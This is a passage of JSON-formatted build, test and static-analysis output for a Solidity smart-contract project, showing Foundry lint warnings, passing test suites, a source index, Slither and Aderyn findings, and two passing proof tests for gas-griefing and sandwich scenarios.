━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/SwarmPrices.sol:320:15\n    │\n320 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:324:36\n    │\n324 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/LARPAgents.t.sol:139:28\n    │\n139 │         uint256 deadline = block.timestamp + 1 hours;\n    │                            ━━━━━━━━━━━━━━━\n140 │         bytes memory sig = _sign(ownerKey, 7, agent, owner, 0, deadline);\n141 │         vm.warp(deadline + 1);\n    │         ───────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":27032,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 11 tests for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP] test_ACrewBuysAndBurnsRealIMD() (gas: 0)\n[SKIP] test_ANameBuysRealIMDOnPool4AndBurnsIt() (gas: 0)\n[SKIP] test_ANameChangesHandsAndBurns() (gas: 0)\n[SKIP] test_ANamePaidInRealImd() (gas: 0)\n[SKIP] test_APriceProposalThroughIMDsRealIntake() (gas: 0)\n[SKIP] test_AnAgentRunsTheTreasurysIdentity() (gas: 0)\n[SKIP] test_AnIdentityWearsAWorkerFren() (gas: 0)\n[SKIP] test_RealProofsRefuseTampering() (gas: 0)\n[SKIP] test_TheHooklessPoolTakesWhatPool4Cant() (gas: 0)\n[SKIP] test_TheRealJeetBoard() (gas: 0)\n[SKIP] test_TheTreasurysCard() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 11 skipped; finished in 499.07µs (714.77µs CPU time)\n\nRan 14 tests for test/LARPItems.t.sol:LARPItemsTest\n[PASS] test_AFaceBecomesAnItem() (gas: 321185)\n[PASS] test_AnItemBecomesAnotherIdentitysFace() (gas: 306295)\n[PASS] test_EquipAnERC1155Copy() (gas: 195226)\n[PASS] test_EquipAnERC721() (gas: 228623)\n[PASS] test_OneCopyOnePlacement() (gas: 372050)\n[PASS] test_ReequippingTheSameCopyInTheSameSlot() (gas: 213412)\n[PASS] test_RefusedItems() (gas: 220243)\n[PASS] test_ReplacingAnItemFreesTheOldOne() (gas: 291522)\n[PASS] test_SellingACopyDarkensItsPlacementsUntilOneComesOff() (gas: 456264)\n[PASS] test_SellingTheIdentityDarkensItsItems() (gas: 360711)\n[PASS] test_SlotsAreOneToEight() (gas: 224747)\n[PASS] test_StrangersCantTakeItemsOff() (gas: 174966)\n[PASS] test_TheNewOwnerClearsTheOldItems() (gas: 343634)\n[PASS] test_ThePlacerTakesItsCopyBackAfterSellingTheIdentity() (gas: 399525)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 1.40ms (3.34ms CPU time)\n\nRan 24 tests for test/LARP.t.sol:LARPFaceTest\n[PASS] testFuzz_OnlyTheHolderOfBothSetsAFace(address,uint256,uint256) (runs: 256, μ: 55907, ~: 56504)\nLogs:\n  Bound result 3\n  Bound result 8\n\n[PASS] test_AFaceComesBackWithBothTokens() (gas: 220934)\n[PASS] test_AMaskMovesToTheIdentityThatPutsItOn() (gas: 323750)\n[PASS] test_AvatarFormat() (gas: 249931)\n[PASS] test_ChangingMasksFreesTheOldOne() (gas: 274960)\n[PASS] test_ClearFace() (gas: 200738)\n[PASS] test_ClearingNoFaceDoesNothing() (gas: 36612)\n[PASS] test_FaceURIFallsBackOnABrokenTokenURI() (gas: 2152591)\n[PASS] test_OnlyTheIdentitysOwnerClears() (gas: 173845)\n[PASS] test_PuttingTheSameMaskOnAgain() (gas: 240094)\n[PASS] test_RefusesAMaskThatIsNotYours() (gas: 49187)\n[PASS] test_RefusesAnIdentityAsAMask() (gas: 41585)\n[PASS] test_RefusesAnIdentityThatDoesNotExist() (gas: 41653)\n[PASS] test_RefusesAnIdentityThatIsNotYours() (gas: 43653)\n[PASS] test_RefusesWhatIsNotAnNFT() (gas: 510494)\n[PASS] test_SellingTheIdentityTakesTheFaceDown() (gas: 252506)\n[PASS] test_SellingTheMaskTakesTheFaceDown() (gas: 223250)\n[PASS] test_SetFace() (gas: 266231)\n[PASS] test_SupportsInterface() (gas: 27637)\n[PASS] test_TheIdentitysNewOwnerClearsTheOldFace() (gas: 225470)\n[PASS] test_TheNewHolderOfAMaskTakesItOff() (gas: 321718)\n[PASS] test_TheNewOwnerMustChooseAgain() (gas: 327564)\n[PASS] test_WearerOfAnUnwornMask() (gas: 14020)\n[PASS] test_ZeroIdentityRefused() (gas: 4446)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 7.04ms (10.46ms CPU time)\n\nRan 14 tests for test/LARPAgents.t.sol:LARPAgentsTest\n[PASS] test_AContractWalletSignsWithERC1271() (gas: 431060)\n[PASS] test_ASignatureWorksOnce() (gas: 230440)\n[PASS] test_AnAgentCantNameAgentsOrTheWallet() (gas: 195871)\n[PASS] test_AnAgentDressesTheIdentityWithTheOwnersNFTs() (gas: 396334)\n[PASS] test_AnAgentLapsesOnASale() (gas: 317701)\n[PASS] test_AnAgentLinksTheOwnersNameAndSetsTexts() (gas: 978066)\n[PASS] test_AnAgentResigns() (gas: 193582)\n[PASS] test_AnAgentRunsFrensAndCrews() (gas: 1223270)\n[PASS] test_AnyAgentChangeVoidsOutstandingSignatures() (gas: 188002)\n[PASS] test_BadSignatures() (gas: 364692)\n[PASS] test_OnlyTheOwnerSetsTheAgent() (gas: 40977)\n[PASS] test_SignaturesExpire() (gas: 49228)\n[PASS] test_TheOwnerConnectsAnAgentInOneCall() (gas: 188975)\n[PASS] test_TheOwnerSignsTheAgentSends() (gas: 176447)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 9.84ms (7.54ms CPU time)\n\nRan 15 tests for test/SwarmPrices.t.sol:SwarmPricesTest\n[PASS] test_AProposalForOldPricesGoesStale() (gas: 3672902)\n[PASS] test_ARejectedProposalChangesNothing() (gas: 2232278)\n[PASS] test_AVerdictMustBeUsedWithinTwoWeeks() (gas: 2208993)\n[PASS] test_AWeakPanelIsARejection() (gas: 6235442)\n[PASS] test_AnExpiredVerdictIsARejection() (gas: 2192125)\n[PASS] test_AnyoneProposesAndTheContractWritesTheQuestion() (gas: 2850404)\n[PASS] test_ApprovedThenAnyoneExecutes() (gas: 3555588)\n[PASS] test_ExecutedOnce() (gas: 2252959)\n[PASS] test_Guardrails() (gas: 209261)\n[PASS] test_NoVerdictClosesTheProposal() (gas: 2224808)\n[PASS] test_OneChangeAWeek() (gas: 3735070)\n[PASS] test_OnlyTheIntakeDeliversAndOnlyForItsOwnProposals() (gas: 2218713)\n[PASS] test_OnlyTheOraclesSignatureForThisContractCounts() (gas: 2357130)\n[PASS] test_StartPrices() (gas: 58550)\n[PASS] test_TheOracleMustBePaid() (gas: 229593)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 11.20ms (22.95ms CPU time)\n\nRan 24 tests for test/LARPLinks.t.sol:LARPLinksTest\n[PASS] test_AGasHungryTokenCantSinkTheBoard() (gas: 1737463)\n[PASS] test_AnInnerNodeIsNotALeaf() (gas: 1448373)\n[PASS] test_AnUnreadableTokenCountsAsHeld() (gas: 1784660)\n[PASS] test_BadAllocations() (gas: 1754999)\n[PASS] test_CaptainsRun() (gas: 955602)\n[PASS] test_Card() (gas: 1629846)\n[PASS] test_CrewFoundingRules() (gas: 909221)\n[PASS] test_Disband() (gas: 1536807)\n[PASS] test_FoundACrewWithImd() (gas: 1176652)\n[PASS] test_FoundingACrewBurnsIMD() (gas: 741849)\n[PASS] test_FrenRules() (gas: 383139)\n[PASS] test_FrensPassWithTheIdentity() (gas: 302573)\n[PASS] test_FrensTakeTwo() (gas: 266329)\n[PASS] test_JeetsAreReadLive() (gas: 2364108)\n[PASS] test_JeetsInPages() (gas: 8424463)\n[PASS] test_OpenAndClosedCrews() (gas: 1681759)\n[PASS] test_PassTheCaptaincy() (gas: 940680)\n[PASS] test_ProveAnAllocation() (gas: 1534389)\n[PASS] test_RanksAcrossLaunches() (gas: 5184173)\n[PASS] test_TheCaptaincyPassesWithTheIdentity() (gas: 760598)\n[PASS] test_TheRankIsTheHoldersNow() (gas: 1748137)\n[PASS] test_Tiers() (gas: 80885)\n[PASS] test_Unfren() (gas: 271974)\n[PASS] test_WithdrawAndDeclineAsks() (gas: 244060)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 12.04ms (28.25ms CPU time)\n\nRan 28 tests for test/IMDNames.t.sol:IMDNamesTest\n[PASS] test_ABrokenRendererFallsBackToTheCard() (gas: 10710728)\n[PASS] test_AFeeParksWhenNoPoolCanTakeIt() (gas: 8869077)\n[PASS] test_ANewOwnerPaysTheTollToLink() (gas: 1022556)\n[PASS] test_ARoyaltyPaymentIsBurned() (gas: 560095)\n[PASS] test_AnyoneRegistersAnyFreeName() (gas: 614424)\n[PASS] test_BadNames() (gas: 75963)\n[PASS] test_LinkRules() (gas: 227615)\n[PASS] test_LinkTheNameToAnIdentity() (gas: 188843)\n[PASS] test_NoImdPaymentWithoutBothPools() (gas: 233452)\n[PASS] test_OneNamePerIdentityOneIdentityPerName() (gas: 929887)\n[PASS] test_Prices() (gas: 63586)\n[PASS] test_Primary() (gas: 249650)\n[PASS] test_RegisterForSomeoneElse() (gas: 605399)\n[PASS] test_RegisterWithImd() (gas: 955060)\n[PASS] test_RegisterWithImdRespectsMaxImd() (gas: 784770)\n[PASS] test_RegisteringMintsTheNameAndBurnsTheFee() (gas: 650210)\n[PASS] test_RegistrationRules() (gas: 227789)\n[PASS] test_RoyaltiesGoToTheBurner() (gas: 40917)\n[PASS] test_SellingTheIdentityTakesItDown() (gas: 170604)\n[PASS] test_SellingTheNameTakesItDown() (gas: 207919)\n[PASS] test_ShortNamesHaveShortNameTolls() (gas: 653414)\n[PASS] test_TextRecordsStartOverWithANewHolder() (gas: 217164)\n[PASS] test_TheArtistChangesTheArtAndOnlyTheArt() (gas: 409849)\n[PASS] test_TheBuiltInCard() (gas: 3442034)\n[PASS] test_TheNamesNewOwnerUnlinksAStaleLink() (gas: 235869)\n[PASS] test_TheTollFollowsEveryChangeOfHands() (gas: 214656)\n[PASS] test_TheTollInImd() (gas: 1089269)\n[PASS] test_Unlink() (gas: 207574)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 14.82ms (34.74ms CPU time)\n\nRan 4 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 190674)\n[PASS] test_FitsOneTransaction() (gas: 23419)\nLogs:\n  launch gas, four creations: 7030\n\n[PASS] test_PassesTheAdmissionScan() (gas: 17257523)\n[PASS] test_UnderTheCodeSizeLimit() (gas: 9813)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 31.32ms (32.43ms CPU time)\n\nRan 26 tests for test/LARPBurner.t.sol:LARPBurnerTest\n[PASS] test_AFeeAlwaysGoesThroughWhateverTheBlockSpent() (gas: 2294498)\n[PASS] test_AGasEatingIMD6900IsSkippedNotFatal() (gas: 7938021)\n[PASS] test_AGasEatingPool4HookFallsToTheHooklessPool() (gas: 4096687)\n[PASS] test_AGenuineFailureIsNotMistakenForTooLittleGas() (gas: 864302)\n[PASS] test_ASwapOutOfGasReverts() (gas: 10077859)\n[PASS] test_AnEmptyPairPoolMeansItAllBurnsAsIMD() (gas: 817176)\n[PASS] test_AnIMD6900LegOutOfGasDeepDownReverts() (gas: 3914783)\n[PASS] test_AnIMD6900ThatWontBurnMeansItAllBurnsAsIMD() (gas: 779535)\n[PASS] test_AtMostMaxBurnPerCallAndPerBlockOfWaitingEth() (gas: 2341959)\n[PASS] test_BurnCallsBatchedInOneTransactionSellOneCap() (gas: 1029214)\n[PASS] test_BurnImdBurnsWhatArrivesInIMD() (gas: 513446)\n[PASS] test_BuysOnPool4First() (gas: 1063491)\n[PASS] test_MinImd() (gas: 955439)\n[PASS] test_NoGasLimitSkipsAHeavyIMD6900Leg() (gas: 68061264)\n[PASS] test_NoGasLimitSkipsARoute() (gas: 5892735)\n[PASS] test_NoQuoteWithoutBothPools() (gas: 297254)\n[PASS] test_NoReentry() (gas: 465354)\n[PASS] test_OnlyThePoolManagerCallsBack() (gas: 32785)\n[PASS] test_ParkedWhenNoPoolCanAndBurnedLater() (gas: 1371147)\n[PASS] test_QuoteIsTheHigherOfTheTwoPools() (gas: 1119688)\n[PASS] test_RoyaltiesArriveByPlainTransfer() (gas: 44059)\n[PASS] test_ShareBuysIMD6900AndBurnsIt() (gas: 841744)\n[PASS] test_SpacingAboveV4sLargestReverts() (gas: 11301)\n[PASS] test_SpacingsAreTakenUnsignedAndKeptAsInt24() (gas: 28075)\n[PASS] test_TheHooklessPoolIfPool4CantTakeIt() (gas: 1175492)\n[PASS] test_WethRoyaltiesAreUnwrappedAndSold() (gas: 1125069)\nSuite result: ok. 26 passed; 0 failed; 0 skipped; finished in 110.01ms (187.09ms CPU time)\n\nRan 1 test for test/LARP.invariant.t.sol:LARPInvariantTest\n[PASS]\nLARPInvariantTest invariants:\n[PASS] invariant_LiveMeansThePlacerHoldsIt\n[PASS] invariant_NoMoreLiveCopiesThanHeld\n[PASS] invariant_OneTokenOneSpot\n LARPInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+--------------+-------+---------+----------╮\n| Contract    | Selector     | Calls | Reverts | Discards |\n+=========================================================+\n| LarpHandler | equip1155    | 1162  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | equip721     | 1153  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveCopy     | 1185  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveIdentity | 1196  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveMask     | 1136  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | setFace      | 1173  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | takeOff      | 1187  | 0       | 0        |\n╰-------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.91s (26.91s CPU time)\n\nRan 10 test suites in 26.91s (27.11s CPU time): 150 tests passed, 0 failed, 11 skipped (161 total tests)\n","passed":true},{"durationMs":73,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDNames.approve(address,uint256)\",\"IMDNames.execute(bytes32)\",\"IMDNames.link(uint256,uint256,uint256)\",\"IMDNames.linkWithImd(uint256,uint256,uint256)\",\"IMDNames.lockRenderer()\",\"IMDNames.onNoVerdict(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"IMDNames.onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"IMDNames.propose((uint64,uint64,uint64,uint64),uint256)\",\"IMDNames.register(bytes32,address,uint256)\",\"IMDNames.registerWithImd(bytes32,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256,bytes)\",\"IMDNames.setApprovalForAll(address,bool)\",\"IMDNames.setArtist(address)\",\"IMDNames.setPrimary(uint256)\",\"IMDNames.setRenderer(address)\",\"IMDNames.setText(uint256,string,string)\",\"IMDNames.transferFrom(address,address,uint256)\",\"IMDNames.unlink(uint256)\",\"LARP.clearFace(uint256)\",\"LARP.equip(uint256,uint256,address,uint256,uint8)\",\"LARP.resignAgent(uint256)\",\"LARP.setAgent(uint256,address)\",\"LARP.setAgentBySig(uint256,address,uint256,bytes)\",\"LARP.setFace(uint256,address,uint256)\",\"LARP.unequip(uint256,uint256)\",\"LARPBurner.burn(uint256)\",\"LARPBurner.burnImd()\",\"LARPBurner.receive()\",\"LARPBurner.unlockCallback(bytes)\",\"LARPLinks.disband(uint256)\",\"LARPLinks.foundCrew(uint256,bytes32,bool,uint256)\",\"LARPLinks.foundCrewWithImd(uint256,bytes32,bool,uint256)\",\"LARPLinks.fren(uint256,uint256)\",\"LARPLinks.invite(uint256,uint256,bool)\",\"LARPLinks.join(uint256,uint256)\",\"LARPLinks.kick(uint256,uint256)\",\"LARPLinks.leave(uint256)\",\"LARPLinks.passCaptain(uint256,uint256)\",\"LARPLinks.proveAlloc(uint64,uint256,address,uint256,bytes32[])\",\"LARPLinks.setOpen(uint256,bool)\",\"LARPLinks.unfren(uint256,uint256)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":137,\"AUDIT.md\":218,\"README.md\":182,\"foundry.toml\":30,\"src/IIMDNames.sol\":112,\"src/ILARP.sol\":120,\"src/IMDNames.sol\":358,\"src/LARP.sol\":330,\"src/LARPBurner.sol\":329,\"src/LARPLinks.sol\":457,\"src/Labels.sol\":53,\"src/SafeReads.sol\":63,\"src/SwarmPrices.sol\":333,\"test/Base.sol\":292,\"test/IMDNames.t.sol\":481,\"test/LARP.invariant.t.sol\":184,\"test/LARP.t.sol\":324,\"test/LARPAgents.t.sol\":269,\"test/LARPBurner.t.sol\":513,\"test/LARPItems.t.sol\":236,\"test/LARPLinks.t.sol\":515,\"test/Launch.t.sol\":134,\"test/MainnetFork.t.sol\":344,\"test/Mocks.sol\":89,\"test/SwarmPrices.t.sol\":340,\"test/fixtures/allocs.json\":118},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":4730,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/LARPBurner.sol:173: LARPBurner.burn(uint256) (src/LARPBurner.sol#173-201) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/LARPBurner.sol:173: LARPBurner.burn(uint256) (src/LARPBurner.sol#173-201) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/SwarmPrices.sol:318: SwarmPrices._decimal(uint256).digits (src/SwarmPrices.sol#318) is a local variable never initialized\n[medium/medium] uninitialized-local at src/LARP.sol:308: LARP._decimal(uint256).digits (src/LARP.sol#308) is a local variable never initialized\n[medium/medium] uninitialized-local at src/LARPBurner.sol:259: LARPBurner._burnImd().burned6900 (src/LARPBurner.sol#259) is a local variable never initialized\n[medium/medium] unused-return at src/IMDNames.sol:105: IMDNames.register(bytes32,address,uint256) (src/IMDNames.sol#105-110) ignores return value by LARPBurner(address(BURNER)).burn{value: price}(minImd) (src/IMDNames.sol#109)\n[medium/medium] unused-return at src/LARPBurner.sol:220: LARPBurner.unlockCallback(bytes) (src/LARPBurner.sol#220-252) ignores return value by POOL_MANAGER.settle() (src/LARPBurner.sol#236)\n[medium/medium] unused-return at src/IMDNames.sol:120: IMDNames.link(uint256,uint256,uint256) (src/IMDNames.sol#120-124) ignores return value by LARPBurner(address(BURNER)).burn{value: toll}(minImd) (src/IMDNames.sol#123)\n[medium/medium] unused-return at src/LARPLinks.sol:453: LARPLinks._own(uint256) (src/LARPLinks.sol#453-456) ignores return value by (ok,None) = LARP.canAct(imdId,msg.sender) (src/LARPLinks.sol#454)\n[medium/medium] unused-return at src/LARPLinks.sol:324: LARPLinks._captain(uint256) (src/LARPLinks.sol#324-329) ignores return value by (ok,None) = LARP.canAct(c.captain,msg.sender) (src/LARPLinks.sol#327)\n[medium/medium] unused-return at src/LARPBurner.sol:220: LARPBurner.unlockCallback(bytes) (src/LARPBurner.sol#220-252) ignores return value by POOL_MANAGER.settle{value: amount}() (src/LARPBurner.sol#249)\n[medium/medium] unused-return at src/LARPLinks.sol:201: LARPLinks.foundCrew(uint256,bytes32,bool,uint256) (src/LARPLinks.sol#201-209) ignores return value by LARPBurner(address(BURNER)).burn{value: msg.value}(minImd) (src/LARPLinks.sol#208)\n[medium/medium] unused-return at src/IMDNames.sol:178: IMDNames.unlink(uint256) (src/IMDNames.sol#178-186) ignores return value by (ok,None) = LARP.canAct(imdId,msg.sender) (src/IMDNames.sol#181)\n[medium/medium] unused-return at src/LARPLinks.sol:439: LARPLinks.cardOf(uint256) (src/LARPLinks.sol#439-450) ignores return value by (None,c.faceCollection,c.faceTokenId,c.faceLive) = LARP.faceOf(imdId) (src/LARPLinks.sol#443)\n[low/medium] missing-zero-check at src/IMDNames.sol:306: IMDNames.setRenderer(address).renderer_ (src/IMDNames.sol#306) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMDNames.sol:67: IMDNames.constructor(address,ILARP,address,address,address,address).artist_ (src/IMDNames.sol#67) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMDNames.sol:314: IMDNames.setArtist(address).artist_ (src/IMDNames.sol#314) lacks a zero-check on :\n[low/medium] missing-zero-check at src/LARPBurner.sol:114: LARPBurner.constructor(address,address,uint24,uint24,address,uint24,uint24,address,uint24,uint24,address).pool4Hook (src/LARPBurner.sol#114) lacks a zero-check on :\n[low/medium] missing-zero-check at src/LARPBurner.sol:120: LARPBurner.constructor(address,address,uint24,uint24,address,uint24,uint24,address,uint24,uint24,address).pairHook (src/LARPBurner.sol#120) lacks a zero-check on :\n[low/medium] calls-loop at src/LARPBurner.sol:280: LARPBurner._tryUnlock(uint8,uint256) (src/LARPBurner.sol#280-298) has external calls inside a loop: r_scope_0 = POOL_MANAGER.unlock{gas: LEG_GAS}(data) (src/LARPBurner.sol#293-297)\n[low/medium] calls-loop at src/LARPBurner.sol:280: LARPBurner._tryUnlock(uint8,uint256) (src/LARPBurner.sol#280-298) has external calls inside a loop: r = POOL_MANAGER.unlock(data) (src/LARPBurner.sol#284-289)\n[low/medium] reentrancy-benign at src/LARPBurner.sol:173: Reentrancy in LARPBurner.burn(uint256) (src/LARPBurner.sol#173-201):\n[low/medium] reentrancy-benign at src/SwarmPrices.sol:146: Reentrancy in SwarmPrices.propose(SwarmPrices.Prices,uint256) (src/SwarmPrices.sol#146-170):\n[low/medium] reentrancy-events at src/LARPBurner.sol:173: Reentrancy in LARPBurner.burn(uint256) (src/LARPBurner.sol#173-201):\n[low/medium] reentrancy-events at src/SwarmPrices.sol:146: Reentrancy in SwarmPrices.propose(SwarmPrices.Prices,uint256) (src/SwarmPrices.sol#146-170):\n[low/medium] reentrancy-events at src/LARPBurner.sol:255: Reentrancy in LARPBurner._burnImd() (src/LARPBurner.sol#255-268):\n[low/medium] reentrancy-events at src/LARPBurner.sol:173: Reentrancy in LARPBurner.burn(uint256) (src/LARPBurner.sol#173-201):\n[low/medium] return-bomb at src/LARPBurner.sol:280: LARPBurner._tryUnlock(uint8,uint256) (src/LARPBurner.sol#280-298) tries to limit the gas of an external call that controls implicit decoding\n[low/medium] timestamp at src/SwarmPrices.sol:200: SwarmPrices.execute(bytes32) (src/SwarmPrices.sol#200-210) uses timestamp for comparisons\n[low/medium] timestamp at src/LARP.sol:77: LARP.setAgentBySig(uint256,address,uint256,bytes) (src/LARP.sol#77-91) uses timestamp for comparisons\n[low/medium] timestamp at src/SwarmPrices.sol:175: SwarmPrices.onVerdict(bytes32,Attestation,bytes) (src/SwarmPrices.sol#175-186) uses timestamp for comparisons","passed":true},{"durationMs":510,"exitCode":0,"name":"aderyn","output":"[high] contract-locks-ether at src/IMDNames.sol:21: Contract locks Ether without a withdraw function (3 places)\n[high] reentrancy-state-change at src/IMDNames.sol:181: Reentrancy: State change after external call (3 places)\n[low] ecrecover at src/LARP.sol:153: `ecrecover` Signature Malleability (2 places)\n[low] internal-function-used-once at src/Labels.sol:9: Internal Function Used Only Once (2 places)\n[low] large-numeric-literal at src/IMDNames.sol:34: Large Numeric Literal (7 places)\n[low] literal-instead-of-constant at src/IMDNames.sol:68: Literal Instead of Constant (56 places)\n[low] missing-inheritance at src/LARPBurner.sol:47: Missing Inheritance\n[low] push-zero-opcode at src/IIMDNames.sol:2: PUSH0 Opcode (9 places)\n[low] require-revert-in-loop at src/LARPBurner.sol:189: Loop Contains `require`/`revert`\n[low] state-no-address-check at src/IMDNames.sol:74: Address State Variable Set Without Checks (3 places)\n[low] unchecked-return at src/LARPBurner.sol:236: Unchecked Return\n[low] uninitialized-local-variable at src/LARPBurner.sol:189: Uninitialized Local Variable (5 places)\n[low] unspecific-solidity-pragma at src/IIMDNames.sol:2: Unspecific Solidity Pragma (7 places)\n[low] unused-public-function at src/IMDNames.sol:98: Public Function Not Used Internally","passed":true},{"durationMs":12824,"exitCode":0,"name":"proof 0a267c38212c","output":"Compiling 82 files with Solc 0.8.26\nSolc 0.8.26 finished in 12.10s\nCompiler run successful!\n\nRan 2 tests for test/imd-proof-9fae86c5/Proof_0a267c38212c.t.sol:GasHogIMD6900Test\n[PASS] test_AGasEatingIMD6900DoesNotBrickBurnImd() (gas: 3038155)\n[PASS] test_AGasEatingIMD6900DoesNotBrickTheBurner() (gas: 3083874)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.76ms (7.18ms CPU time)\n\nRan 1 test suite in 5.45ms (4.76ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)\n","passed":true},{"durationMs":8052,"exitCode":0,"name":"proof bb9c523ef0e5","output":"2026-10-12T11:52:27.302852Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-UVub5V/repo/test/imd-proof-9fae86c5/Proof_0a267c38212c.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 7.51s\nCompiler run successful!\n\nRan 2 tests for test/imd-proof-cb84135a/Proof_bb9c523ef0e5.t.sol:BatchedBurnSandwichTest\n[PASS] test_ASandwichAroundBatchedBurnCallsMustNotPay() (gas: 897635)\n[PASS] test_Control_OneBurnCallIsBelowBreakEven() (gas: 866919)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.49ms (1.07ms CPU time)\n\nRan 1 test suite in 3.43ms (1.49ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"42d703992d49c2f3fed8222b8acf11bb9e1fa4aad198257c92cda37fdde2bb23","verifiedTreeHash":"40e0185d668c0a9242cd9526212a7cb710d38d9e","verifierVersion":"0.1.0+fb8278c5"},{"checks":[{"durationMs":240466,"exitCode":0,"name":"build","output":"Compiling 99 files with Solc 0.8.26\nSolc 0.8.26 finished in 240.03s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:285:25\n    │\n285 │                 return (true, r);\n    │                         ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:111:33\n    │\n111 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:120:64\n    │\n120 │         if (holder == address(0) || who == address(0)) return (false, holder);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:121:36\n    │\n121 │         if (who == holder) return (true, holder);\n    │                                    ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:265:36\n    │\n265 │         if (at == 0) return (0, 0, false);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SafeReads.sol:21:46\n   │\n21 │         return ok && w >> 160 == 0 ? address(uint160(w)) : address(0);\n   │                                              ━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'uint160' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n   ╭▸ src/SafeReads.sol:47:40\n   │\n47 │         (bool ok, bytes memory data) = target.staticcall{gas: gasCap}(call);\n   │                                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/Labels.sol:23:16\n   │\n23 │         while (n < 32 && label[n] != 0) ++n;\n   │                ━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:288:25\n    │\n288 │                 return (false, \"\");\n    │                         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:294:21\n    │\n294 │             return (true, r);\n    │                     ━━━━\n    